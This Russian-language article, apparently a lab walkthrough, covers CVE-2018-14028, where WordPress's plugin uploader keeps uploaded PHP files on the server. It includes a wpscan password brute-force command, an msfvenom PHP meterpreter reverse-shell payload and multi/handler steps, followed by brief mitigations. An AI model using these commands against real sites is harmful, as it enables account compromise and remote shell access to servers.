28.10.2020 | Добавление произвольных файлов на сервер при помощи загрузчика плагинов в WordPress |
Автор: Иша Гупта ВведениеПлагины, загружаемые в WordPress через административную панель, не проверяются на предмет соответствия ZIP-архивам, что позволяет добавлять на сервер php-скрипты, картинки и другие типы файлов. Во время добавления файла возникает сообщение об ошибке, сообщающее о неверном формате, однако файл все равно появляется на сервере, и злоумышленник может легко загрузить полезную нагрузку, написанную на PHP, имея в распоряжении учетную запись. Соответственно, используемый аккаунт становится уязвимым. Добавленный файл доступен по адресу /wordpress/wp-content/uploads/{year}/{month/{file_name}. Тестовая средаОперационная система злоумышленника: Kali Linux Операционная система жертвы: Windows 7 Используемые утилиты: XAMPP, Metasploit Другие требования: наличие дистрибутива Wordpress Эксплуатация уязвимости будет продемонстрирована на локальном сервере:
Рисунок 1: Изменение параметров в таблице wp_options 5. Вносим изменения в файл wp-config-sample.php, находящийся в папке htdocs/wordpress, касающиеся пароля и имени базы данных.
Рисунок 2: Содержимое папки htdocs/wordpress 6. Создаем учетную запись в Wordpress В Kali Linux используем утилиту wpscan для получения имени пользователя и пароля жертвы: wpscan –url http://192.168.86.13x/wp-login.php -U isha --password isha.txt Заходим по адресу 192.168.86.13x/wordpress, логинимся при помощи полученной учетной записи, после чего переходим по адресу 192.168.86.13x/wordpress/wp-admin/. Кликаем по ссылке «Add new» в разделе Plugins.
Рисунок 3: Добавление нового плагина Выбираем нужный php-файл и кликаем на кнопку «Install now».
Рисунок 4: Установка полезной нагрузки Ранее упоминалось, что загрузчик плагинов принимает только ZIP-архивы, и после загрузки php-файла мы получим сообщение об ошибке схожее с тем, которое показано на рисунке ниже, из-за неверного формата.
Рисунок 5: Сообщение об ошибке, появляющееся во время загрузки плагина Извлечение плагина потерпело неудачу, однако php-файл находится в папке /wordpress/wp-content/uploads/{year}/{month/{file_name}.
Рисунок 6: Загруженный php-файл При помощи этой уязвимости злоумышленник может создать полезную нагрузку с реверсивным шеллом при помощи модуля msfvenom и добавить в файл shell.php. msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.86.13y lport=1337 –f raw
Рисунок 7: Создание полезной нагрузки После копирования полезной нагрузки в файл shell.php запускаем msfconsole: Use exploit/multi/handler Set lhost Set lport Use payload Exploit
Теперь, когда жертва откроет файл shell.php, злоумышленник получит доступ к системе.
Рисунок 8: Настройка полезной нагрузки После получения доступа становятся доступны многие команды:
Рисунок 9: Некоторые команды, доступные после получения доступа к системе жертвы Также можно проверить установленное подключение на компьютере жертвы.
Рисунок 10: Перечень подключений Методы защиты1. В идеале во время загрузки плагинов и шаблонов должна очищаться папка загруженных файлов правильным образом в случае неудачной распаковки или установки. 2. Всегда использовать последнюю версию Wordpress. Ссылки 1. https://nvd.nist.gov/vuln/detail/CVE-2018-14028 2. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-14028 3. https://core.trac.wordpress.org/ticket/44710 |
Проверить безопасность сайта